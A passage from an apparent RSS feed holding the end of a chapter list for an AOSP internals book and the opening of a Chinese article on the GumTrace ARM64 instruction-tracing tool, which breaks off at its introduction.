var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">38</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">NFC</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">VIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">39</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">USB &amp; ADB</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IX</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">40</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Security (TEE/Trusty)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IX</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">41</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Credential Manager</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">IX</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">42</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">DRM</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">X</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">43</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Widgets &amp; RemoteViews (RemoteCompose)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">X</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">44</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">WebView</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">X</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">45</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Accessibility</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">X</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">46</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Internationalization</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">47</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">SystemUI (Monet/Keyguard)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">48</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Launcher3</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XI</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">49</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Settings</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">50</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">AI &amp; AppFunctions (Computer Control)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">51</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Companion &amp; Virtual Devices</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">52</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Mainline Modules (APEX)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">53</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">OTA Updates</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">54</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Virtualization (pKVM/crosvm)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">55</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Testing (CTS/VTS/Ravenwood)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIII</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">56</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Debugging Tools (Perfetto)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">57</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Architecture Support (ARM/x86/RISC-V)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">58</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Emulator</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">59</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Device Policy</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">60</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Automotive/TV/Wear</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">61</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Print Services</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XIV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">62</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Camera2 Pipeline</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">XV</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">63</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Custom ROM Guide (step-by-step)</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-default,var(--color-canvas-default));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">App.</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">A</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Key Files Reference</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr><tr style="box-sizing: border-box;background-color: var(--bgColor-muted,var(--color-canvas-subtle));border-top: 1px solid var(--borderColor-muted,var(--color-border-muted));"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">App.</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">B</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">Glossary</span></p></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid var(--borderColor-default,var(--color-border-default));"><p><span leaf="">UNDER REVIEW</span></p></td></tr></tbody></table></markdown-accessiblity-table><p><span leaf="">图书的仓库地址：</span></p><p><span leaf=""><a href="https://github.com/aospbooks/aosp-internal-book" target="_blank">https://github.com/aospbooks/aosp-internal-book</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://github.com/aospbooks/aosp-internal-book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a16dc791&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485122%26idx%3D1%26sn%3D3877e38965a4620b9ed729743d979bd1">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 22 Apr 2026 13:24:00 +0800</pubDate>
    </item>
    <item>
      <title>ARM64动态指令追踪工具使用与实现分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485117&amp;idx=1&amp;sn=5c5a103b1863aad7dac6b6e40c9bb470</link>
      <description>ARM64动态指令追踪工具使用与实现分析</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-14 10:31</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6b7ae26b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeTib1Ze8Pmcs0LV6UEjrjoQyo4Av9uCxy2ibj6JyGFu0LRTZgoKy4Iqb5ibM0WJAuJTl9v72lZE32GsXRq1xfRdy5DN6PWm1ObaJos%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">ARM64动态指令追踪工具使用与实现分析</span></h1><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文基于开源项目</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GumTrace</span></code><span leaf="">的源码，对ARM64平台动态指令追踪技术进行深度剖析。从工具使用到引擎实现、从指令解析到污点传播，逐层拆解每一处工程细节。</span></p></blockquote><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文项目开源地址为：<a href="https://github.com/patchcore-framework/GumTrace" target="_blank">https://github.com/patchcore-framework/GumTrace</a></span></p></blockquote><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文作者：非虫（fei_cong@hotmail.com）</span></p></blockquote><h2 data-line="8" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 引言</span></h2><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在移动安全研究中，逆向分析师常常面临这样的困境：当分析目标是高度混淆的native代码——例如白盒加密、VM保护或自定义协议实现——静态分析几乎无效，而函数级Hook粒度又太粗，这时候需要的是一台真正的&#34;指令级显微镜&#34;。</span></p><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">传统的trace方案各有短板：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">方案</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">原理</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">不足</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Frida Stalker 脚本</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span 